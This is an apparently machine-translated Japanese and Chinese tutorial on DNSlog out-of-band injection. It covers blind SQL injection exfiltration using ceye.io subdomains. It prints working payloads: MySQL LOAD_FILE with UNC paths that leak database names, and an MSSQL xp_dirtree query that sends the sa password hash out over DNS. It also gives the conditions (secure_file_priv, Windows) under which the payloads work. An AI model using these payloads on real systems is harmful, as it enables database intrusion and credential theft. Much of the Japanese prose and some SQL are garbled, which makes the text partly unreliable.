DNSlogプロデュース注入
いくつかの注入は何のエコーは、スクリプトを書くことで盲目になることはできませんが、いくつかのサイトは、私たちのIPを禁止しますです、いくつかのテストサイトでは、IPは、エージェント・プールを設定することで解決することができる、しかしブラインドはしばしば非効率的であり、そのDNSlog注射を持っていました。
DNSlog注入シナリオ
SQLインジェクションブラインド、有意なリターン命令の実行、SSRFの無エコー
DNSlog注入原理
、その後、独自のドメインネームサーバの設定Aのためのネームサーバのエージェント(ceye.io)を介し、その後、Aサーバーに構成DNSサーバー、およびその以降のすべてのceye.io:あなたは(ceye.io例えば)ドメイン名を設定することができます以下のようにサブドメインがそのサーバAに照会します、リアルタイムのドメインを監視することが可能である今回は、必要に応じ:
注入语句:http://127.0.0.1/mysql.php?id=1組合は1,2、test.test_user名= '管理者' LIMIT FROM LOAD_FILE(CONCAT( '\\'、(SELECT進(パス)を選択します1) 'mysql.nk40ci.ceye.io \ ABC'))
1) 'Mysql.nk40ci.ceye.io \ ABC'))
UNCパス dnslogは、Windowsでのみ使用することができます
\\ abc.mysql.nk40ci.ceye.io \ ABC
UNCパス - ここでは、Windows用の小さなヒントに来るので、LinuxでLOAD_FILE機能はdnslog攻撃を行うことができません。
2)UNCパス
Baiduの説明のUNCパス:。UNCは、主にMicrosoft WindowsのUNCの命名規則にネットワークドライブを指定し、マッピングするために使用される命名規則、であるが、ほとんどのLANアクセス、ファイルサーバやプリンタで使用され、共有ファイルへの一般的なネットワークはこれです道。
実際には、我々は通常使用されますWidnowsで共有ファイルに使用された場合、ネットワークアドレスのこの形式:\\ sss.xxx \テスト\
CONCAT 4つステッチ()関数\、およびエスケープすることにより、4 \ 2となっ\なる、UNCパスを使用することです。
ヒントは:Linuxは、LinuxシステムでのMySQLの場合に、このメソッドを使用する際に、梱包することができないデータをUNCパスを持っていません
MSSQL
一般的なPOCは次の通り:
SELECT @host=(SELECT TOP 1master.dbo.fn_varbintohexstr(password_hash)FROM sys.sql_loginsWHERE name='sa')+'.ip.port.b182oj.ceye.io';
EXEC('master..xp_dirtree"\'+@host+'\foobar$"');
データベースコンソールでは、実際にsaユーザーの16進コードの後にハッシュデータベースを得ることができます。しかし、実際のデータは、当社のTEST_USER POCは、いくつかの処理を取るために、テーブルを取得します。
まず、SQLServerのフィールド名に定義されていない、と紛争から関数名は以下のように、必要であれば、競合は[]フィールドが折り返されます。
単にユーザのユーザフィールドと、同じ名前を持つシステム()関数は、フィールドは[]パーセルを必要と
ログを解析するときにDNS情報のログを解析する(ドメイン名はスプライシングすることによって得ることができる)、マルチレベルのドメイン名を読み取り、去ります
http://ceye.io 背景サードレベルドメインへxxx.ceye.io、我々ジェクト情報:これが無料のレコードdnslogプラットフォームであり、我々は、セカンドレベルドメインを登録するにはあなたのコントロールパネルを提供しますログが記録されます
例:SQLブラインド
DNSlogブラインドLOAD_FILE()関数が使用する必要がある、一般的にroot権限でなければなりませんさ。「%安全な%」のような変数を示し ; LOAD_FILE()ディスクを読み取ることができます参照してください。
secure_file_privがnullの場合は、LOAD_FILEは、ファイルをロードすることはできません。
Gにsecure_file_privた場合:\、Gは、ディスク・ファイルを読み込むことができます。
当secure_file_priv为空,就可以读取磁盘的目录。
通过设置my.ini文件中的secure_file_priv="",就可以load_flie任意磁盘的文件
在mysql命令行执行:select load_file('\\\\afanti.xxxx.ceye.io\\aaa');其中afanti就是要注入的查询语句
查看平台dnsLog被记录下来
load_file()函数可以通过dns解析请求。目标主机是联网的windows系统,可读取编译文件
执行的sql语句:SELECT * FROM users WHERE id='1' and if((select load_file(concat('\\\\',(select database()),'.xxxxx.ceye.io\\abc'))),1,0)
查看dnslog日志,发现security数据库被查询出来:
Payload: 为了解决sleep时间过长问题,数据外带,标记部分表示域名